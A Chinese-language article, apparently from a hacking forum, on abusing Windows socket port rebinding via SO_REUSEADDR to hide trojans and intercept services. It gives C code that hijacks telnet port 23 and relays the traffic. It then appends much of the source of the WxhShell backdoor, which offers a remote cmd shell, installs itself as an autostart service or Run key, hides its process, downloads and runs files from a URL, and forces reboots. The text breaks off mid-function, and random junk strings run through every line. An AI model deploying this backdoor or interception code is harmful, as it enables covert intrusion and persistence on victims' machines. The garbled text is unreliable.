在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gMK3o8B/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Tx?@*Q nPIR1Z saddr.sin_family = AF_INET;
3^-)gK /G{3p&9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{)[g Umwg
iw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
; o@`l$O [c!vsh]^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
YK+Z0ry r|F,\fF 这意味着什么?意味着可以进行如下的攻击:
<@j Uus)2R7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
np>!lF: KeOBbe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
__n"DLW n|,Vm@zV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
MGC0^voe ,Y5 4(>>% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yrYaKh ,v5>sL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
n2hsG.4 k'q
!MZU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^A<.s_ h=y(2xA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
jW$f(qAbm hgr ,v" #include
qhf/B) #include
G}xBYc0b #include
N)y;owgo #include
xs`gN DWORD WINAPI ClientThread(LPVOID lpParam);
%7wzGtM]ps int main()
2}Plr{s9 {
AX Jj"hN WORD wVersionRequested;
vCo}-b-j DWORD ret;
W" ,jZ"7 WSADATA wsaData;
vgZPDf| BOOL val;
ghQsS|)p. SOCKADDR_IN saddr;
M 6Z`Pwv]; SOCKADDR_IN scaddr;
!3M!p& int err;
95&sFT
C SOCKET s;
4GejT(U SOCKET sc;
4i&!V9@: int caddsize;
'u%;6'y HANDLE mt;
Z:gsguX DWORD tid;
ywtDz8!^u wVersionRequested = MAKEWORD( 2, 2 );
+Ws}a err = WSAStartup( wVersionRequested, &wsaData );
&|FG#.2yw if ( err != 0 ) {
yXl.Gq>]{ printf("error!WSAStartup failed!\n");
c+XR return -1;
W]7?;#Hpk }
/!8:/7r+W saddr.sin_family = AF_INET;
UiN ^x by ee-BU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(8F?yBu #^w 1!xXD saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+mPB?5 saddr.sin_port = htons(23);
a2)*tbM9\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>'g60 R[ {
2YEn)A@8 printf("error!socket failed!\n");
.kDCcnm
return -1;
]V\g$@ }
bbA<Zp val = TRUE;
j*\MUR= //SO_REUSEADDR选项就是可以实现端口重绑定的
)p](*Z^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
GDe$p;#"9g {
oYm"NDS_. printf("error!setsockopt failed!\n");
$k=rd#3 return -1;
iU|C<A%Hh }
-/*{^[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ViONG]F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
YWd(xm"4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kQcQi}e ECfY~qK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Ok"wec+, {
Nq1RAM ret=GetLastError();
8u23@? printf("error!bind failed!\n");
x6P^IkL: return -1;
2!`Z3>Oa }
IiU|@f~k listen(s,2);
cW>`Z:6{K while(1)
:9>nY {
p`C5jfI caddsize = sizeof(scaddr);
05DtU!3O //接受连接请求
]sIFK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]z@]Fi33Y if(sc!=INVALID_SOCKET)
yrb%g~ELGn {
I*t}gvUt9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A#\X-8/ if(mt==NULL)
xk<0QYv
{
t*$@QO printf("Thread Creat Failed!\n");
v0pEN\ break;
`Q[$R&\ }
e=C,`&sz }
\Bf{/r5x CloseHandle(mt);
|LhuZ_;1xo }
;0WlvKF closesocket(s);
+<#-52br\ WSACleanup();
iE{ SqX return 0;
3?<vnpN=5d }
WocFID:b DWORD WINAPI ClientThread(LPVOID lpParam)
}\*|b@)] {
F U%b"gP^ SOCKET ss = (SOCKET)lpParam;
=Ih_[$1dw SOCKET sc;
@ZWKs
unsigned char buf[4096];
e
hGC
N= SOCKADDR_IN saddr;
^^mi@&ApLD long num;
^B>6! DWORD val;
uDUSR+E> DWORD ret;
\^D`Hvg //如果是隐藏端口应用的话,可以在此处加一些判断
jKs8i$q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
PI?[ saddr.sin_family = AF_INET;
+z_0 ?x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fz\Az- saddr.sin_port = htons(23);
?J
AzN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UJ+JVj {
NH!!.Z" printf("error!socket failed!\n");
uW|y8 BP $ return -1;
B;$5*3D+ }
ny0`~bl{p val = 100;
5VS<I\o} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U bXz`i {
xC]/i(+bA ret = GetLastError();
IB<ihk return -1;
g>{=R|uO5 }
Ea1>]V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[o "@*kf {
?6gI8K6X ret = GetLastError();
QS_xOQ ' return -1;
1U!CD-%( }
5,3h'\ "! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'>8N'* {
<U";V) printf("error!socket connect failed!\n");
16U@o>O closesocket(sc);
-rBj-4|" closesocket(ss);
c_i;' return -1;
*%.*vPJ }
sTONkd while(1)
hi%>&i* {
p_(
NLJ% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
lwlR"Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
qIl@,8T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
n$8A"'.M num = recv(ss,buf,4096,0);
"|H0 X# if(num>0)
7>TG
]& send(sc,buf,num,0);
NUseYU`` else if(num==0)
A.Njn(z?Lz break;
c
s>W6 num = recv(sc,buf,4096,0);
ofV{SeD67 if(num>0)
^B7Aam send(ss,buf,num,0);
pbNVj~#6 else if(num==0)
2P*O^-zRp break;
Qoc-ZC"<6 }
TqC"lO>:Q closesocket(ss);
p}\!"&,^m closesocket(sc);
!!AutkEg> return 0 ;
uu:BN0 }
=:lacK(0 o5d)v)Rx= pE#0949 ==========================================================
QGa"HG5NF -3C~}~$>` 下边附上一个代码,,WXhSHELL
I[/u5V_b' B7
T+a ==========================================================
W# $rC<Jh] ?:,j9:m? #include "stdafx.h"
"Y6f.rB ;iWCV&>w #include <stdio.h>
W NCd k$ #include <string.h>
xE:p)B-] #include <windows.h>
:v+39 #include <winsock2.h>
zB4gnVhus| #include <winsvc.h>
juM?y'A #include <urlmon.h>
H~&'`h1 !^%b|=[ #pragma comment (lib, "Ws2_32.lib")
:D EZ$gi #pragma comment (lib, "urlmon.lib")
is,_r(S }6\p7n #define MAX_USER 100 // 最大客户端连接数
3Dy.mt P
#define BUF_SOCK 200 // sock buffer
5,A/6b #define KEY_BUFF 255 // 输入 buffer
*l}q,9iQ- cK""Xz&m #define REBOOT 0 // 重启
ZCa?uzeo] #define SHUTDOWN 1 // 关机
BX?Si1c
z>!b #define DEF_PORT 5000 // 监听端口
gC?k6)p$N @uHNz-c #define REG_LEN 16 // 注册表键长度
16AYB17 #define SVC_LEN 80 // NT服务名长度
/PO5z7n0J KQh'5o& // 从dll定义API
Q'Q^K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{Q0"uE)-. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
JA&w"2X*E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%*,'&S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
eD(#zfP/+ #R &F // wxhshell配置信息
d)LifsD) struct WSCFG {
~FJd{$2x` int ws_port; // 监听端口
u(P
D+Gz char ws_passstr[REG_LEN]; // 口令
N.uw2Y% int ws_autoins; // 安装标记, 1=yes 0=no
[b`k\~N4r char ws_regname[REG_LEN]; // 注册表键名
2`x[y?Tn char ws_svcname[REG_LEN]; // 服务名
3a =KgOvp char ws_svcdisp[SVC_LEN]; // 服务显示名
^z_~e@U char ws_svcdesc[SVC_LEN]; // 服务描述信息
FQ_4a}UOjX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ke/QFN-` int ws_downexe; // 下载执行标记, 1=yes 0=no
lUDzfJ}3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0h* AtZv_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<~]s+"oVc 3]T2Zp&; };
SOd(& > hD"Tjd` P // default Wxhshell configuration
1 #_R`(C{ struct WSCFG wscfg={DEF_PORT,
/.vB /{2 "xuhuanlingzhe",
N[Fz6,ZG _ 1,
8[eH8m#~$ "Wxhshell",
cu|{cy- "Wxhshell",
jGId)f!) "WxhShell Service",
6B&':N98 "Wrsky Windows CmdShell Service",
GSsot%B u" "Please Input Your Password: ",
~"8b\oLW 1,
i-$]Tg "
http://www.wrsky.com/wxhshell.exe",
+ ~HL"Vv "Wxhshell.exe"
dQt]r };
8uNq353 z@dHXj ) // 消息定义模块
hC,EO& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
i0hF9M char *msg_ws_prompt="\n\r? for help\n\r#>";
a
*>$6H; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'z@(,5 char *msg_ws_ext="\n\rExit.";
?EdF&^[3rD char *msg_ws_end="\n\rQuit.";
JPRl/P$ char *msg_ws_boot="\n\rReboot...";
-(P"+g3T char *msg_ws_poff="\n\rShutdown...";
HI55):Eb char *msg_ws_down="\n\rSave to ";
b:oB $E gWRSS=8% char *msg_ws_err="\n\rErr!";
>Qr(#Bt) char *msg_ws_ok="\n\rOK!";
2!}5shB |GLa`2q| char ExeFile[MAX_PATH];
y<MXd,eE int nUser = 0;
oQAD
3a HANDLE handles[MAX_USER];
yqZKn=1: int OsIsNt;
RCKb5p9 n"*A. SERVICE_STATUS serviceStatus;
A\YP}sG1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
{eL XVNR7R ;V@o 2a // 函数声明
G 7b>r int Install(void);
re:=fC:t5A int Uninstall(void);
y]+q mNw"+ int DownloadFile(char *sURL, SOCKET wsh);
YFeF(k!!n int Boot(int flag);
/g@!#Dt void HideProc(void);
i.Yz)Bw int GetOsVer(void);
_3.=| @L int Wxhshell(SOCKET wsl);
\G:\36l void TalkWithClient(void *cs);
~m'PAC"Q$ int CmdShell(SOCKET sock);
dL!PpLR$2 int StartFromService(void);
u.43b8! int StartWxhshell(LPSTR lpCmdLine);
C0J/FFBQ ^ e2~&I`ct VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N2WQrTA:S+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
"6o}g. <;G.(CK@n // 数据结构和表定义
[5yLg SERVICE_TABLE_ENTRY DispatchTable[] =
w,n&K6< {
Dm2&}{&K {wscfg.ws_svcname, NTServiceMain},
w*n@_n={ {NULL, NULL}
{wVj-w=<W };
[_q3 02 ,ir(~g+{g // 自我安装
B*W)e$ int Install(void)
c"~+Y2]tL {
J4EQhuQ char svExeFile[MAX_PATH];
Bu$Z+o HKEY key;
S}WQ~e strcpy(svExeFile,ExeFile);
{oOzXc6o hV_bm@f/y // 如果是win9x系统,修改注册表设为自启动
%|Sh|\6A! if(!OsIsNt) {
lcO;3CrJ! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k <SFl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8cI<~|4_ RegCloseKey(key);
x%@n$4wk7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3@7IY4>o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<2^XKaS` RegCloseKey(key);
z$C}V/Ey return 0;
9\y\{DHd }
|1!RvW:[! }
F|nJ3:v }
<2{g[le else {
ROb2g|YXG W!6&T [j> // 如果是NT以上系统,安装为系统服务
&V"9[0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
P3Ocfpf Bp if (schSCManager!=0)
^26vP7 {
VEFUj&t;xW SC_HANDLE schService = CreateService
PaIE=Q4gJ (
O(pa;&" schSCManager,
U~H]w,^ wscfg.ws_svcname,
|}$ZOwc wscfg.ws_svcdisp,
$IUe](a{d SERVICE_ALL_ACCESS,
Qx<86aKkF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\+3amkBe
SERVICE_AUTO_START,
d^pzMaCI SERVICE_ERROR_NORMAL,
.Aj4?AXWc svExeFile,
H+lBb$ NULL,
[ 'aSPA NULL,
`?P)RS30 NULL,
pQ2'0u5w5 NULL,
nz+k , NULL
nymro[@O~ );
N#C,q&; if (schService!=0)
'qoDFR\v {
ol#|
.a2O CloseServiceHandle(schService);
tg5G`P5PJ CloseServiceHandle(schSCManager);
~IQ3B$4H& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
% XvJJ strcat(svExeFile,wscfg.ws_svcname);
7UnB]- :. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xQA6!j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
zw,( kv RegCloseKey(key);
Xlg0u. return 0;
ny++U;qi }
NRIp@PIF:" }
Z@f4= CloseServiceHandle(schSCManager);
';,Rq9-' }
,;%F\<b }
uz
U2)n3y jc0Trs{Jf return 1;
}LYK:?_/ }
I)s~kA.e KdN+$fe*g // 自我卸载
v2K6y|6, int Uninstall(void)
0vYHx V {
MeCHn2zwB HKEY key;
3+~m 9:9 L>@:Xo@ if(!OsIsNt) {
`%@|sK2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2,T^L(] RegDeleteValue(key,wscfg.ws_regname);
@3g$H[} RegCloseKey(key);
9lU"m_
QT4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&GKtD) RegDeleteValue(key,wscfg.ws_regname);
V =9 RegCloseKey(key);
K."%PdC return 0;
iup "P }
CQ;.}=j
, }
sW#OA\i& }
( :h#H[F else {
mto=_|gn {VK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
rP%B#%;S" if (schSCManager!=0)
sR;^7(f!m {
Lkf}+aY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_ -6IB> if (schService!=0)
/l6r4aO2= {
J
n~t>? if(DeleteService(schService)!=0) {
"~+?xke5z CloseServiceHandle(schService);
SN<Dxa8Iy CloseServiceHandle(schSCManager);
|K(jXZ) return 0;
f?Am) }
P,RdYM06 CloseServiceHandle(schService);
_+=M)lPm }
V(#z{! CloseServiceHandle(schSCManager);
i!KZg74V }
+ $Yld{i }
F<9S, IVY{N/ 3| return 1;
3q}fDM(@J }
rb_FBa% zt3y5'Nk // 从指定url下载文件
1w~@'ZyU int DownloadFile(char *sURL, SOCKET wsh)
I%?ia5]H {
Bk44 wz2X HRESULT hr;
(^lw<$N char seps[]= "/";
j84g6; 4Dv char *token;
z
Go*N,' char *file;
=}pPr]Cc char myURL[MAX_PATH];
N"k
IQe*}1 char myFILE[MAX_PATH];
8n'"RaLQ8 d&G#3}kOb% strcpy(myURL,sURL);
\g;o9}@3~ token=strtok(myURL,seps);
2N/4. while(token!=NULL)
5,~Ju>y* {
{];8jdg/? file=token;
r5w y]z^ token=strtok(NULL,seps);
vQ_D%f4; }
'n$TJp|s QA"mWw-Ds GetCurrentDirectory(MAX_PATH,myFILE);
azKiXr#_( strcat(myFILE, "\\");
j-}WA" strcat(myFILE, file);
77?D
~N[ send(wsh,myFILE,strlen(myFILE),0);
7#pu(:T$ send(wsh,"...",3,0);
5vSJjhS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|%HTBF if(hr==S_OK)
aM6qYO!jA
return 0;
FG@ ')N!g else
rdBF+YN9/? return 1;
h8zl\ [$iKx6\ }
"tX=^4 BXj]]S2 // 系统电源模块
{37v.4d; int Boot(int flag)
~k[mowz0 {
40i]I@:JK HANDLE hToken;
D *Hy 2eZ. TOKEN_PRIVILEGES tkp;
xhTiOt6l >3SZD if(OsIsNt) {
yKb+bm&5:' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NpLO_- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
YEiQ`sYKG tkp.PrivilegeCount = 1;
Lbwc2Q,.- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TDY2
M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<RaUs2Q3. if(flag==REBOOT) {
6a MG!_jC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{1VMwANj return 0;
qh)10*FB }
sk>E(Myo else {
+[_mSt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PgMU|O7To return 0;
sCrOdJ6| }
yzH[~O7 }
8x /]H(J else {
RASPOc/] if(flag==REBOOT) {
\.l8]LH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?BA~$|lfxu return 0;
@)<
3Z }
qW" else {
p~bx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
At$[&%} return 0;
I|eYeJ3 }
m6 V L }
edZhI eWw#
T^ return 1;
;GF+0~5> }
o1^Rx5 $AyE6j_1gX // win9x进程隐藏模块
b>]MZhLJe void HideProc(void)
K@R *
V {
G.l
~!; xk\n F0z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
N:%
}KAc if ( hKernel != NULL )
Spm7kw {
2zN"*Wkn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ekV|a1) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X1Vj"4'wT FreeLibrary(hKernel);
tOT(!yz }
p?idl`?^3 ih\=mB return;
ra]lC7<H }
15dbM/Gj 2Q81#i'Cm // 获取操作系统版本
F!*tE&Se+ int GetOsVer(void)
-RKqbfmi= {
U_.9H
_G OSVERSIONINFO winfo;
o4F?Rx,L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G W@g GetVersionEx(&winfo);
EH~t< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
WT_4YM\bz return 1;
:SJxG&Pm=~ else
lFT`
WO return 0;
`~;`q }
0CR~ vQf#r QXLHQ_V // 客户端句柄模块
zNRR('B? int Wxhshell(SOCKET wsl)
HpGI\s {
Zv|TvlyT" SOCKET wsh;
Uw5AHq). struct sockaddr_in client;
a]4h5kJ'; DWORD myID;
'fS&WVR? i8Xz'Sw07 while(nUser<MAX_USER)
FhJtiw@ {
bg/a5$t
int nSize=sizeof(client);
-)E
nr6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<!G%P4) if(wsh==INVALID_SOCKET) return 1;
t;/s^-} b-Xc6f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
J*nWCL if(handles[nUser]==0)
1ww#]p`1 closesocket(wsh);
,(y6XUV~ else
pr.+r?la] nUser++;
0hv}*NYd }
5e|yW0o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,.,spoV 4qvE2W}& return 0;
ZgI ?#e }
Y:#nk.}> kT1 2 // 关闭 socket
Dhze2q)o void CloseIt(SOCKET wsh)
Ra)AQ
n {
_/[}PQC6G closesocket(wsh);
,qu7XFYrY nUser--;
^_5t5> ExitThread(0);
d]r?mnN W }
155vY C.N#y`g // 客户端请求句柄
LCMZw6p void TalkWithClient(void *cs)
@|6#]&v` {
$az9Fmta G:4'')T SOCKET wsh=(SOCKET)cs;
w:HRzU> char pwd[SVC_LEN];
\ Dccf_(Pb char cmd[KEY_BUFF];
-I'Jm=q3] char chr[1];
)l6(ss!J int i,j;
W'!
I+nh 35 d:r: while (nUser < MAX_USER) {
ArVW2gL K*9~g(' if(wscfg.ws_passstr) {
q~6a$8+t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}CGA)yK~3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PfjD!=yS=h //ZeroMemory(pwd,KEY_BUFF);
8{DW$ZtR i=0;
f~P~% while(i<SVC_LEN) {
34c+70x7 8z)J rO} // 设置超时
K)N'~jCG fd_set FdRead;
S=_*<[W%4 struct timeval TimeOut;
-jWXE FD_ZERO(&FdRead);
k, >*.Yoh FD_SET(wsh,&FdRead);
BG^)?_69 TimeOut.tv_sec=8;
=k\Qx),Ir TimeOut.tv_usec=0;
y"Ios:v@- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5a%i%+;N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{&uN q^Ch ap wA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+N2R'Phv pwd
=chr[0]; WGA"e
if(chr[0]==0xd || chr[0]==0xa) { Nz;f| 2h
pwd=0; L2>
)HG
break; ]=G dAW
} w:h([q4X
i++; MHQM'
} THy{r_dx
AYsiaSTRqW
// 如果是非法用户,关闭 socket u3C0!{v
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e !N%
} Y,M2D
b NR@d'U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _jM+;=f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /RemLJP
F
@S)p{T5G
while(1) { EYR%u'&7'
t*wV<b
ZeroMemory(cmd,KEY_BUFF); x\b+B
`N;O6
wZ
// 自动支持客户端 telnet标准 ;7U"wI_~c
j=0; Jix;!("
while(j<KEY_BUFF) { xp%LXxj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+agS8e(
cmd[j]=chr[0]; ]zh6[0V7V
if(chr[0]==0xa || chr[0]==0xd) { y\XWg`X
y
cmd[j]=0; WQBpU?O
break; U.c~l,5%"
} iJb-F*_y
j++; PMZ*ECIJU
} bo[[<j!"I
%
|G"ZPO?
// 下载文件 plgiQr #
if(strstr(cmd,"http://")) { :LLz$[c8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \4Z"s[8}
if(DownloadFile(cmd,wsh)) TGzs|-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \OVw
else ,
%A2wV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )F m'i&F_
} [m6%_3zV
else { ;"]?&ri
TlpQ9T
switch(cmd[0]) { J~lKN
<w
lin
// 帮助 O5dBI_
case '?': { (d# W3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qbKcI+)47
break; r<pt_Cd
} XL`i9kV?
// 安装 @!mjjeG+1
case 'i': { kY#sQz}8
if(Install()) <ELqj2`c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O6]X\Cwj%
else dF'oZQz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iCdq-r/r!6
break; Z4{~
} :tp{(MF
// 卸载 Y|L]#
case 'r': { 85ND 3F6q4
if(Uninstall()) ,8+Jt@L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?M'(` ~
else =' &TqiIv"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l-M
.C8N
break; <^"0A
} r-ljT<f%J[
// 显示 wxhshell 所在路径 VE*&t>I
case 'p': { ^K[[:7Aem
char svExeFile[MAX_PATH]; 4_w{~
strcpy(svExeFile,"\n\r"); \=
Wrh3
strcat(svExeFile,ExeFile); w
C-x'
send(wsh,svExeFile,strlen(svExeFile),0); T^H`$;\
break; *wV`7\@
} L87=*_!B;
// 重启 %i@Jw
case 'b': { ~i=5NUE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X@Yl<9|i
if(Boot(REBOOT)) lQ| i
Ws
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zqm/<]A*l
else { ;c|G
closesocket(wsh); 4n/CSAT1
ExitThread(0); 8[d6 s
} q@}tv=}
break; GtkZ%<KF9
} ;xjw'%n,
// 关机 =EUi|T4:
case 'd': { ?Bsc;:KF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !N\i9w}
if(Boot(SHUTDOWN)) ^\FOMGai
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3/*<i
else { $-M'
closesocket(wsh); 5<Y-?23
ExitThread(0); E7j9A`
} !\|L(Paf
break; ;\gHFG}
} bf$4Z: Y
// 获取shell fe7DS)U
case 's': { zwdi$rM5
CmdShell(wsh); Q9sxI}D )R
closesocket(wsh); -4t!k
Aw`
ExitThread(0); O*PJr[Zou
break; F/U38[
} GKf%dKL
// 退出 tkf^sGgNO
case 'x': { *Zz hN]1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p"o_0{8
CloseIt(wsh); #i|AE`
break; o'!WW
} 5+Hw @CY3
// 离开 c8M'/{4rH
case 'q': { TbR!u:J
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
ui1h M
closesocket(wsh); fC!+"g55
WSACleanup(); (zhi/>suG
exit(1); u;=a=>05IR
break; _A=Pr_kN
} !KmSLr7xU
} g:fzf>oQ>p
} H(ds
~19&s~
// 提示信息 0uS6F8x@
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?V(h@T
} gBJM|"_A?
} K)TMr"j\
NEcE-7aT
return; zn/b\X/
} Q5/BEUkC
gshgl3
// shell模块句柄 b[ .pD3
int CmdShell(SOCKET sock) 8B|B[,`
{ [:bYd}J
STARTUPINFO si; Oh/2$72
ZeroMemory(&si,sizeof(si)); '{:lP"\,L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xQ@gh
( (
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SD=9fh0l
PROCESS_INFORMATION ProcessInfo; w$[ck=
char cmdline[]="cmd"; .dl4f"k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Y.Q{5Y
return 0; ~"i4"Op&
} cA25FD
c_)lTI4
// 自身启动模式 w$z]Z-
int StartFromService(void) L(\o66a-rV
{ T`SpIdzB.
typedef struct D7OPFN7`
{ !F~*Q2PZ9
DWORD ExitStatus; 7N
I~47s|v
DWORD PebBaseAddress; B&4NdL/
DWORD AffinityMask; 9xIz[`)i.
DWORD BasePriority; ("ulL5
